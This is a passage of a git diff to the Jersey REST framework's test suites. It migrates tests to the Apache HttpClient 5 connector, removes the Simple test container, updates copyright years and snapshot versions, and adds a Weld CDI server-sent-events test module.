 import jakarta.ws.rs.core.FeatureContext;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -135,7 +135,7 @@
     @Test
     public void testAbortingFilterWithApacheConnector() {
         ClientConfig clientConfig = new ClientConfig();
-        clientConfig.connectorProvider(new ApacheConnectorProvider());
+        clientConfig.connectorProvider(new Apache5ConnectorProvider());
         Client client = ClientBuilder.newClient(clientConfig);
 
         final Response response = client.target(getBaseUri()).path("/simple").request().get();
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java
index 9076cae..7da8af0 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -34,16 +34,17 @@
 import jakarta.ws.rs.ext.MessageBodyReader;
 import jakarta.ws.rs.ext.Provider;
 
+import org.apache.hc.core5.http.ClassicHttpResponse;
+import org.apache.hc.core5.http.ContentType;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 
-import org.apache.http.HttpResponse;
-import org.apache.http.client.HttpClient;
-import org.apache.http.client.methods.HttpPost;
-import org.apache.http.entity.ByteArrayEntity;
-import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.hc.client5.http.classic.HttpClient;
+import org.apache.hc.client5.http.classic.methods.HttpPost;
+import org.apache.hc.core5.http.io.entity.ByteArrayEntity;
+import org.apache.hc.client5.http.impl.classic.HttpClientBuilder;
 import org.junit.jupiter.api.Test;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
@@ -115,13 +116,13 @@
     @Test
     public void testDefaultContentTypeForReader() throws Exception {
         final HttpPost httpPost = new HttpPost(UriBuilder.fromUri(getBaseUri()).path("resource/plain").build());
-        httpPost.setEntity(new ByteArrayEntity("value".getBytes()));
+        httpPost.setEntity(new ByteArrayEntity("value".getBytes(), null));
         httpPost.removeHeaders("Content-Type");
 
         final HttpClient httpClient = HttpClientBuilder.create().build();
-        final HttpResponse response = httpClient.execute(httpPost);
+        final ClassicHttpResponse response = (ClassicHttpResponse) httpClient.execute(httpPost);
 
-        assertEquals(200, response.getStatusLine().getStatusCode());
+        assertEquals(200, response.getCode());
         assertEquals("value;null", ReaderWriter.readFromAsString(response.getEntity().getContent(), null));
     }
 }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/RestrictedHeaderTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/RestrictedHeaderTest.java
index 9a386cf..61c78ae 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/RestrictedHeaderTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/RestrictedHeaderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -103,7 +103,7 @@
     @Test
     public void testForbiddenHeadersWithApacheConnector() {
         ClientConfig clientConfig = new ClientConfig();
-        clientConfig.connectorProvider(new ApacheConnectorProvider());
+        clientConfig.connectorProvider(new Apache5ConnectorProvider());
         Client client = ClientBuilder.newClient(clientConfig);
         testHeaders(client);
     }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/Hk2BinderSupportTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/Hk2BinderSupportTest.java
index bcdfbc4..5bb533d 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/Hk2BinderSupportTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/Hk2BinderSupportTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -62,7 +62,7 @@
         }
     }
 
-    private static class JerseyBinder extends org.glassfish.jersey.internal.inject.AbstractBinder {
+    private static class JerseyBinder extends org.glassfish.jersey.inject.hk2.AbstractBinder {
         private static final String JERSEY_HELLO_MESSAGE = "Hello Jersey!";
 
         @Override
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/NoEntityTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/NoEntityTest.java
index 996c68e..8f3cb51 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/NoEntityTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/NoEntityTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,7 +33,7 @@
 import org.glassfish.jersey.moxy.json.MoxyJsonFeature;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
+import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
@@ -154,6 +154,6 @@
 
     @Override
     protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-        return new SimpleTestContainerFactory();
+        return new JdkHttpServerTestContainerFactory();
     }
 }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/RequestScopeTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/RequestScopeTest.java
index fa64b62..0c651b4 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/RequestScopeTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/RequestScopeTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,13 +26,12 @@
 
 import jakarta.inject.Inject;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 
-import org.junit.jupiter.api.Disabled;
 import org.junit.jupiter.api.Test;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.MatcherAssert.assertThat;
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/ApplicationPathTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/ApplicationPathTest.java
index 87ea906..d542cb9 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/ApplicationPathTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/ApplicationPathTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,11 +22,8 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Response;
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
-import org.glassfish.jersey.test.inmemory.InMemoryTestContainerFactory;
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
-import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
 import org.glassfish.jersey.test.netty.NettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 import org.glassfish.jersey.test.spi.TestHelper;
 import org.junit.jupiter.api.DynamicContainer;
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/HeadTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/HeadTest.java
index 08f4bfd..c20a95a 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/HeadTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/HeadTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,9 +19,7 @@
 import java.io.ByteArrayInputStream;
 import java.io.InputStream;
 import java.util.Arrays;
-import java.util.Collection;
 import java.util.List;
-import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
 import jakarta.ws.rs.GET;
@@ -36,7 +34,6 @@
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.inmemory.InMemoryTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.MethodSource;
@@ -53,7 +50,6 @@
     private static final List<TestContainerFactory> FACTORIES = Arrays.asList(
             new GrizzlyTestContainerFactory(),
             new InMemoryTestContainerFactory(),
-            new SimpleTestContainerFactory(),
             new JettyTestContainerFactory());
 
     public static Stream<TestContainerFactory> parameters() throws Exception {
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
index 54bbf12..22dda62 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -38,7 +38,6 @@
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
@@ -55,8 +54,7 @@
  */
 @Suite
 @SelectClasses({Jersey2462Test.GrizzlyContainerTest.class,
-        Jersey2462Test.JettyContainerTest.class,
-        Jersey2462Test.SimpleContainerTest.class})
+        Jersey2462Test.JettyContainerTest.class})
 public class Jersey2462Test {
     private static final String REQUEST_NUMBER = "request-number";
 
@@ -209,68 +207,6 @@
     }
 
     /**
-     * Filter testing Simple framework request/response injection support into singleton providers.
-     */
-    @PreMatching
-    public static class SimpleRequestFilter implements ContainerRequestFilter {
-        @Inject
-        private org.simpleframework.http.Request simpleRequest;
-        @Inject
-        private org.simpleframework.http.Response simpleResponse;
-
-        @Override
-        public void filter(ContainerRequestContext ctx) throws IOException {
-            StringBuilder sb = new StringBuilder();
-
-            // First, make sure there are no null injections.
-            if (simpleRequest == null) {
-                sb.append("Simple HTTP framework Request is null.\n");
-            }
-            if (simpleResponse == null) {
-                sb.append("Simple HTTP framework Response is null.\n");
-            }
-
-            if (sb.length() > 0) {
-                ctx.abortWith(Response.serverError().entity(sb.toString()).build());
-            }
-
-            // let's also test some method calls
-            int flags = 0;
-
-            if ("/echo".equals(simpleRequest.getAddress().getPath().getPath())) {
-                flags += 1;
-            }
-            if (!simpleResponse.isCommitted()) {
-                flags += 10;
-            }
-            final String header = simpleRequest.getValue(REQUEST_NUMBER);
-
-            ctx.setEntityStream(new ByteArrayInputStream(("filtered-" + flags + "-" + header).getBytes()));
-        }
-    }
-
-    public static class SimpleContainerTest extends JerseyTest {
-        @Override
-        protected DeploymentContext configureDeployment() {
-            return DeploymentContext.builder(new ResourceConfig(EchoResource.class, SimpleRequestFilter.class))
-                    .build();
-        }
-
-        @Override
-        protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-            return new SimpleTestContainerFactory();
-        }
-
-        /**
-         * Reproducer for JERSEY-2462 on Grizzly container.
-         */
-        @Test
-        public void testReqestReponseInjectionIntoSingletonProvider() {
-            Jersey2462Test.testReqestReponseInjectionIntoSingletonProvider(target());
-        }
-    }
-
-    /**
      * Reproducer method for JERSEY-2462.
      */
     public static void testReqestReponseInjectionIntoSingletonProvider(WebTarget target) {
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
index f6bb0b7..03c84be 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,6 @@
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
 import org.glassfish.jersey.test.netty.NettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
 /**
@@ -38,7 +37,6 @@
     private static final List<TestContainerFactory> FACTORIES = listContainerFactories(
             new GrizzlyTestContainerFactory(),
             new InMemoryTestContainerFactory(),
-            new SimpleTestContainerFactory(),
             new JdkHttpServerTestContainerFactory(),
             new JettyTestContainerFactory(),
             new NettyTestContainerFactory()
diff --git a/tests/integration/asm/pom.xml b/tests/integration/asm/pom.xml
index d1b8d79..82c4bf8 100644
--- a/tests/integration/asm/pom.xml
+++ b/tests/integration/asm/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/async-jersey-filter/pom.xml b/tests/integration/async-jersey-filter/pom.xml
index ef99488..b83f7f5 100644
--- a/tests/integration/async-jersey-filter/pom.xml
+++ b/tests/integration/async-jersey-filter/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>async-jersey-filter</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
index 5d1496c..4f578a9 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-beanvalidation-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/CdiValidationResultBinder.java b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/CdiValidationResultBinder.java
index 639ce81..a0e1998 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/CdiValidationResultBinder.java
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/CdiValidationResultBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,8 +24,8 @@
 
 import org.glassfish.jersey.ext.cdi1x.internal.CdiUtil;
 import org.glassfish.jersey.ext.cdi1x.internal.GenericCdiBeanSupplier;
+import org.glassfish.jersey.inject.hk2.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.spi.ComponentProvider;
 
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2Application.java b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2Application.java
index 250fb2f..efdb1b8 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2Application.java
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2Application.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,7 @@
 
 import jakarta.enterprise.inject.Vetoed;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
 
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2ValidationInterceptor.java b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2ValidationInterceptor.java
index a531b9a..778499f 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2ValidationInterceptor.java
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2ValidationInterceptor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,7 +30,7 @@
 import jakarta.validation.ConstraintViolationException;
 import jakarta.validation.ValidationException;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.spi.ValidationInterceptor;
 import org.glassfish.jersey.server.spi.ValidationInterceptorContext;
 
diff --git a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
index 941a5f7..22e25d0 100644
--- a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
+++ b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-client-on-server</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-client/pom.xml b/tests/integration/cdi-integration/cdi-client/pom.xml
index 17ab97f..6db7e5b 100644
--- a/tests/integration/cdi-integration/cdi-client/pom.xml
+++ b/tests/integration/cdi-integration/cdi-client/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-client</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
index 88fef7d..1e03700 100644
--- a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-ejb-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
index 4ece9ce..dd41422 100644
--- a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-iface-with-non-jaxrs-impl-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-inject-weld-test/pom.xml b/tests/integration/cdi-integration/cdi-inject-weld-test/pom.xml
new file mode 100644
index 0000000..00a3b58
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-inject-weld-test/pom.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
+        <artifactId>cdi-integration-project</artifactId>
+        <version>4.0.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>cdi-inject-weld-test</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-tests-cdi-inject-weld</name>
+
+    <description>Jersey CDI Inject-Weld Tests</description>
+
+    <dependencies>
+        <dependency>
+            <groupId>jakarta.ws.rs</groupId>
+            <artifactId>jakarta.ws.rs-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.enterprise</groupId>
+            <artifactId>jakarta.enterprise.cdi-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-sse</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-bundle</artifactId>
+            <type>pom</type>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.incubator</groupId>
+            <artifactId>jersey-cdi-inject-weld</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.jboss.weld.se</groupId>
+            <artifactId>weld-se-core</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-surefire-plugin</artifactId>
+                <configuration>
+                    <skipTests>${skip.tests}</skipTests>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+</project>
diff --git a/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/java/org/glassfish/jersey/tests/cdi/inject/weld/SseTest.java b/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/java/org/glassfish/jersey/tests/cdi/inject/weld/SseTest.java
new file mode 100644
index 0000000..60bf019
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/java/org/glassfish/jersey/tests/cdi/inject/weld/SseTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.cdi.inject.weld;
+
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.Injections;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseySingleContainerTest;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+import jakarta.enterprise.inject.se.SeContainer;
+import jakarta.enterprise.inject.se.SeContainerInitializer;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.sse.Sse;
+import jakarta.ws.rs.sse.SseEventSink;
+import jakarta.ws.rs.sse.SseEventSource;
+
+public class SseTest extends JerseySingleContainerTest {
+    protected static SeContainer container;
+    protected InjectionManager injectionManager;
+
+    @BeforeAll
+    public static void setup() {
+        SeContainerInitializer containerInitializer = SeContainerInitializer.newInstance();
+        container = containerInitializer.initialize();
+    }
+
+    @AfterAll
+    public static void weldTearDown() throws Exception {
+        container.close();
+    }
+
+    @Path("/sse")
+    public static class SseResource {
+        @GET
+        @Produces(MediaType.SERVER_SENT_EVENTS)
+        public void eventStream(@Context SseEventSink eventSink, @Context Sse sse) throws Exception {
+            try (SseEventSink sink = eventSink) {
+                eventSink.send(sse.newEvent("event1"));
+                eventSink.send(sse.newEvent("event2"));
+                eventSink.send(sse.newEvent("event3"));
+            }
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(SseResource.class);
+    }
+
+    @Test
+    public void sseBinderTest() {
+        injectionManager = Injections.createInjectionManager();
+        injectionManager.completeRegistration();
+
+        Sse sse = injectionManager.getInstance(Sse.class);
+        Assertions.assertEquals("org.glassfish.jersey.media.sse.internal.JerseySse", sse.getClass().getName());
+
+        injectionManager.shutdown();
+    }
+
+    @Test
+    public void sseTest() {
